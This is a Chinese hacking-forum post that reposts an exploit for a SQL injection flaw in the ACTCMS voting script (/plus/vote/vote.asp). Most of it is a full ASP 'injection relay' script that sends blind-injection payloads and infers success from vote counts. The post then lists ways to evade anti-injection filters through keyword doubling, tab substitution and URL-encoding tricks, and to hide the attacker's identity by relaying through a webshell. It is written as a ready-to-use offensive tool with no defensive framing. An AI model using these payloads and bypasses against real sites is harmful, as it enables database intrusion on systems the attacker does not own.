找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2325|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
5 G" F' _5 D! Y. U6 ?+ Y
看到ninty大牛的blog的一篇文章
7 b! z6 X8 Q% L! p链接标记[url]http://www.forjj.com/?action=show&id=80[/url]& @) v" R9 ^% p" U6 y' [
关于actcms漏洞的利用  by 3x qq:381862589
/ C9 d  e: q1 ?1 P转载请注明以上
' y$ Q2 N% y/ G8 ]" s% q+ [$ h漏洞文件:& _% \$ B0 _9 H+ |" Z% a  D7 }
/plus/vote/vote.asp) J2 \" r  U" y$ M  A# J1 j) S$ Z
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
6 r( Q  s2 I: H9 I& o6 [! |/ T- J& D
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   4 }7 S: w1 e2 Y5 \  X+ t
% M3 w$ t. H1 e& v
3    response.end    1 l: ^  ~" _4 y! W( P
) P( I% B5 i7 U% V- q
4    end if   
2 u% W7 ^! F. y5 f( N1 |' T3 l9 G+ S1 @
5    for i=1 to request("voted").count    . h" X1 b! ~" U+ e& T5 T
/ k4 q- g6 @9 C/ e, Z
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
- Y0 h& U+ K$ l
& l# d. K8 I2 E5 Y, |7    next    ' x6 F8 M) N" P( q2 I- c
' d0 x9 Q& }+ j3 O! r2 O
8....   
. [4 }. W6 x8 |1 |2 O, X+ _3 t/ x. u0 i! u' h7 @: G* @' o- }
9response.Redirect "index.asp?id="&id&""   6 D/ J0 A6 c' Y. C6 B
投票结束回跳转回index.asp这个投票结果页面+ v) r; M0 m2 i6 S; ^
如果投票成功票数加1
% s; L: a- k' Z3 Z" _            失败票数不变0 O& P  I, x+ l4 K
如图:
" n# t0 B0 s7 }" w- ]2 N* N  vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)9 g- _$ ~3 N* y7 F+ G+ b2 f

6 P3 l4 }3 n2 P  n/ R* Q2 f% W3 u2009-12-27 13:20$ D" `  V2 l3 G) g( G7 a
, K7 U+ K' T2 w: V2 ^$ p# O
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了& C; I1 |' b9 |7 h3 e

: z- [7 m8 d7 E( `本帖隐藏的内容需要回复才可以浏览
' t$ d/ u. Q! r我们用注入中转来实现这个注入具体代码如下:6 ]7 e, {3 m, ~: P  m, M
先用寂寞的刺猬大牛的注入中转生成jmget.asp& Q" G' r2 n( m* s
注入地址:http://localhost/actcms/plus/vote/vote.asp
, Q3 G5 {5 w$ G% ?1 _注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项& L8 C7 ?+ w4 J2 Z

: D+ h4 a# K0 H- S' `然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
; Y- o& V2 l; ^% g  o% t* U# |$ W- z" Z0 r! \# a
02JmdcwName=request("jmdcw")
- f8 q9 \5 h$ R; r$ _4 @/ I$ Q  s$ p. l( i# U" X
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
2 j. |! |# `2 K
$ f) m! }  [1 c3 l  p. C& }) N4 H8 F04JmStr="id=1&voted=-1 or 1="&JmdcwName
6 w5 W4 P8 N  c0 A1 m! E* _# A; N! a. w: Y2 H5 u
05JmStr=URLEncoding(JmStr) 7 B! i* J+ T6 r& O$ {8 g
. T5 D- S) ?1 I: f+ J% H5 `
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"1 a1 ?- ^$ O) D8 E' o" q) n
  Y' _4 d) ?; s, {
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
7 l, t# ]0 o, w0 t
6 ^3 C( v" }1 G+ _7 s& Y, Y* n1 k08testurl=testurl & "?" & JmStr
" d3 P9 Q& J# ^% w
! ?5 N. U  u) b3 Z6 b6 \09JMUrl=JMUrl & "?" & JmStr
) ]: ]0 z9 U8 ^9 N2 \: x: b
' l& u' _; b/ p! N9 j" G( r10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
+ S; g+ p- m, p8 x3 |
0 t5 d" y$ _: B9 ?5 T, m0 x3 q11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"6 e6 A0 ~/ g5 M7 d5 I1 u
+ G- U& p4 C  ?6 W! L
12JmCok=replace(JmCok,chr(32),"%20")  
! U1 j+ k7 b1 `
7 J6 @! q1 W9 P9 Z; k1 \& B' M9 r" X13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ( o& y7 Q, g0 }5 e% t7 N" m. z

, q! J- _: B7 M1 \0 l14  , t4 v, u/ T  ~7 D& ], |6 d3 d

) a; w# e7 P7 u  K2 B15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
9 C0 X' K- V$ Q" E* G7 E. C& s& x3 E0 [' p* ?9 o" ?+ d! r2 D
16  / A% A; D/ e+ H4 n( l
& b" d& o0 i7 o$ Y
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
8 L$ d: ?& @) U8 ]5 Y/ ]
: F- k& G  N& X+ e# f) ?9 C6 b2 J18response.write test1&""&test2&""- Q# r7 P. r; v2 e
0 _% ~1 S( ]7 a4 U* t1 \
19  & Y0 U; e# Y, p
, h, R# M5 B6 v
20if test1=test2 then '如前后记录相等,表示失败
$ D0 q$ F) c) v5 U3 X& F
4 s4 x9 b) R. K& ]7 B1 s21  response.write "failed"
+ t/ b! ^4 Y# f) V- X2 A$ N) q- u8 q# W( |' e3 I4 F3 F; h  M
22else 7 _3 j( @  h7 w( E9 s. V
5 V! y/ ?  a- S6 O( j& [8 ^& z, _
23  response.write "succeed"
9 f0 I) P4 x! ^6 b  x7 U+ M* K6 |9 t$ g+ I
24end if  5 w: u' H6 H  _+ ~' ?, y8 \
4 m+ g8 v+ z, a) p
25  ! u, e. D* }- b/ }( [3 ~

! O3 E! a8 ~7 O7 ?0 t26response.write "by 3x"6 N1 B6 D% T8 L- J2 {

$ f! r2 W" v8 {$ m4 `27  ! R" \5 p% y4 [1 W3 i

& w  ^( v; A1 V0 T28  9 ~0 t8 o' {5 n' Q( C2 n. `+ o. y

- n3 a5 @7 c% A: m29Function PostData(PostUrl,PostStr,PostCok,PostRef)   0 d) D( b9 \1 e( P

8 |& L* `/ P" r4 y3 ^8 L1 ~* E30Dim Http ; N) b) N3 t9 r$ @2 N6 F1 P+ n' {

8 J5 V# h) Y$ a1 |  i3 j31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; J6 Y4 K7 K- z% b- W  p2 P9 [  }8 T/ N& q1 k: V" H- w: D" l
32With Http 3 [# ^8 B& H6 r
. y+ D* _0 b8 ^5 U! g8 x( D
33  
8 \" ?0 m/ M. B6 {0 N
% |: a7 [2 [! f34.Open "GET",PostUrl,False
: e  u" L0 p; q* L
# v5 n% r7 b. X. l0 f35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
- }- n$ g  r0 ]0 A; m0 e- R6 n# y; \- q5 @$ ]) b2 L' B# v5 e- t$ S
36.SetRequestHeader "Referer",PostRef ) j9 ^& \- G6 |! X- y. D
' {8 Q% {, f8 h
37.SetRequestHeader "Cookie",PostCok % ^1 o* O3 W  e4 b7 r0 h
8 M8 x3 e; t' A% s
38.Send ()
5 ~/ l+ M, h7 O: R1 e) t
) O$ W7 \' W4 I$ l4 {# l: q9 Y39PostData = .ResponseBody
9 t1 V" A* D' f. H2 j; `
1 {: i- B3 o0 v! ~8 O! x40End With
, U# a7 H# j8 F& s* M; G+ g! u2 V8 ^; c7 u6 t8 M; d  }
41Set Http = Nothing) g$ B2 j/ w$ y
% Y8 n+ m+ g; D  L% U
42PostData =bytes2BSTR(PostData)
: t8 x5 @3 A; E. U9 X' [1 b1 Z, J/ y8 S8 ^, Y5 l
43End Function4 U5 g& P/ t4 R& R

( ~9 x8 _4 h. J  i+ [; {44  0 c" H" G5 i# {1 Y
6 |5 u( r9 M! K3 K+ x
45  " k( W6 E. }& C. [* V; w* s9 W2 j

2 V+ e# g, w" ]' X. C& {2 Z* x46Function bytes2BSTR(vIn) 7 }* O  p7 p% z* C* l
6 ~' |9 A" r7 R
47Dim strReturn
: g' x; {% I' C1 O( \
/ e. O' k$ ]; g3 L  z48Dim I, ThisCharCode, NextCharCode ) ?8 x( i" y& S2 [

7 _1 |* Q* p6 v$ j6 _49strReturn = """ c8 ]) _; J" Z& G: R$ E1 i
0 e5 D: L" B4 \- N! X% J
50For I = 1 To LenB(vIn)
7 m5 U' P8 w' O8 L; _
/ k. K  T9 l! ?3 N6 k8 B51ThisCharCode = AscB(MidB(vIn, I, 1))
1 I2 P# N3 x& J% k9 Q% S$ w2 Z( p) _) w: j& O
52If ThisCharCode < &H80 Then8 S2 ?' c+ c+ E4 t

- w/ z0 f% {3 Q9 y53strReturn = strReturn & Chr(ThisCharCode)
* ^% v6 C/ N# d# \
3 F- T" }) J* d54Else* @2 \2 G7 O/ C1 |# `5 H: W" L: f& m
) q0 i$ f( w7 W/ e+ N8 l
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) % w8 [7 _6 ?* E) b. n- J; b

  P/ r: U: ^6 G56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
0 w, c0 p' v5 _/ Q* a
0 C8 i' ~& _" z; B9 M2 N6 m6 g57I = I + 1 : v7 A, k8 h; R& Q" I

+ L5 l/ D# m, U9 T7 Z0 G. H7 k58End If/ @' D  a8 a. Q  d1 s) r+ D- d

6 d/ ]3 U: z! @% _3 ]) u; D1 j59Next* w) }( j9 Q6 V2 o7 c

2 z, c. d; i6 C60bytes2BSTR = strReturn 7 ?7 U1 K3 @1 Z1 P: E/ `
. W9 i. K, L, x. S
61End Function! u$ Z" p, z9 x( e

. H7 b" Y4 f: ~. V62  / Q/ K* B$ V' u; ]  F
* f. B9 t; L$ l/ F1 Z' Q; w
63Function URLEncoding(vstrin)  4 K+ g- \  n1 _$ j+ }, K

# D& v/ F7 Q- t& l& o8 r% d3 ^2 i64strReturn=""
3 u& O, e$ K- U9 |5 U1 w0 i4 s3 w/ ^5 H8 ?9 O$ g; S
65Dim i 0 d, e3 x0 {  E3 J9 r5 c4 I! n: ?. q7 h
+ I: U; y( e, \- U3 `
66For i=1 To Len(vstrin)
- ^- B6 ?  E3 q$ k1 b% x" s2 Z  H  d
67ThisChr=Mid(vstrin,i,1) % Y+ D, H( K3 }1 b$ y; G/ T/ a+ K
* C) [0 {3 W; C  G' d% b$ C9 \( @
68if Abs(Asc(ThisChr))< &HFF Then
6 G+ j4 h$ M- x, d8 ?  C) {: _$ e# V- D
69strReturn=strReturn & ThisChr 4 r0 @- v' V$ G' ]8 l& }+ z9 j
) z2 Z* M+ [/ w/ P" b
70Else
1 E7 f' p7 y, r2 m7 y1 y* l. e0 T: K6 q0 _6 Y, ~7 P
71InnerCode=Asc(ThisChr) ' r5 b6 o; ?; Q# z; d
5 O( \3 I& o- s$ `3 F7 T$ s7 t. `
72If InnerCode<0 Then* [2 v) N4 r: p" l8 q% @
5 f6 a. g( C3 d* a
73InnerCode=InnerCode + &H10000
6 a6 ^: O# i" ]. i  |8 E% {) E7 Y$ j6 |' K' _
74End If
  n' X8 g. |+ j+ W" h& ?( G1 m+ E9 v& W7 ^8 z
75Hight1=(InnerCode And &HFF00) \&HFF " S2 t6 R  U* W% z

; p. [5 R) ^: }" Z/ K' y9 h76Low1=InnerCode And &HFF " i+ R! b$ {% p; I0 d3 b( H1 _

  k; q" |4 N; \77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
( X, Z9 t; j. {6 j1 ]
/ R7 G  D7 Z2 n78End if
! S# f  z- T9 y9 H
4 W3 _/ k! F$ V6 `& T79Next
& @3 K8 m6 S: |8 Z" `  `; [: \
' }: O1 u' {. W( q% u0 C80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 4 H! c; g+ _4 \" B* S+ v
; b5 V9 g$ X8 A( t
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
) d1 L9 g4 B- t0 t" p) Y
$ d% y2 a7 p2 [8 A82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 / ^" c. T# S% K, h6 ^6 z) @
( C, ?3 \( G5 n8 Z2 v/ u8 s( `
83URLEncoding=strReturn ) T/ C" z. ~  ~2 }7 _, e, f
2 m- h2 ~; Y6 }
84End Function0 o; Z8 M" f, ^* C2 P9 B

  X3 j$ S5 C0 c85  ! h+ l& t! `# u) H
, h& Q4 K9 g; T
86function getSt(body)
) Z( ~; a9 ^& u3 K+ l/ d' E9 ]+ l
1 T$ z4 a2 B2 K87  startpot=instr(body,"投票人数:")+len("投票人数:")
% S0 }  Q2 c# J2 V, R+ j2 N  F
* h$ C9 Y8 H( E- y" g5 ^88  endpot=instr(startpot,body," ") 5 ]+ Q( c( i* ?6 u$ n0 k2 {) B

4 m# S$ J( w6 A3 y* u89  getSt=mid(body,startpot,endpot-startpot) - f/ D5 }+ G# s4 j0 x7 m" f: m: a/ H

: i9 q2 s& V0 \90end function
' D# r. }: e+ o4 y# f# X3 V
% @  f; Z& r( m91%>5 W& }. R3 z+ a. g* y- p& b
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
# ?- K! E+ u' i9 o4 {测试下效果:
. U  E5 h" m) T8 p/ T/ g% |3 c投票成功:
3 n' T% ?9 s( _" chttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
. a) G- L% P# w
# w7 v/ S! z( Q' K. X) K2009-12-27 13:29
# z8 E  n+ j7 P! e9 c* R- w投票失败
0 \: I4 e) g- _9 r  {% Ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)& L$ \  V- h8 J6 L4 E& z5 ^

" ?$ R2 A5 t# Y. a" N6 y" r) G2009-12-27 13:29
2 i) g' R3 r1 j& j& A  a, q-------------------------------------------------------------------------------
, T. j4 S0 c( Q! X再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
: j% O$ I) m- ], m1 _( M0 E8 j很抱歉。。。只能用单线程工具去注入。。。。。
' ?  a+ `2 Z0 y; i) f所以失败。。。不好意思。。。
" \6 _8 c8 Z/ r-------------------------------------------------------------------------------6 e. B% ?5 J, F5 @* k6 `9 f  P2 d$ \
) ~4 o# h; p$ k) u* |0 U) D
注入中转的一些其他应用
9 e( Z$ k  D1 T( h4 S其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
( X# u8 T5 Y7 u) H* m0 I1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id4 U" H  t( Z' d6 ~& Y7 E  e
2.post注入转成get型的注入,方便我们使用工具来跑) C" n3 P6 o# }! P8 w( W
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
9 o; K# i2 B4 {$ U' z/ F0 k- k  k- L/ \4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过" S) I9 v# t$ c: x9 K
4 R3 b" p1 z: m; Q: {2 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表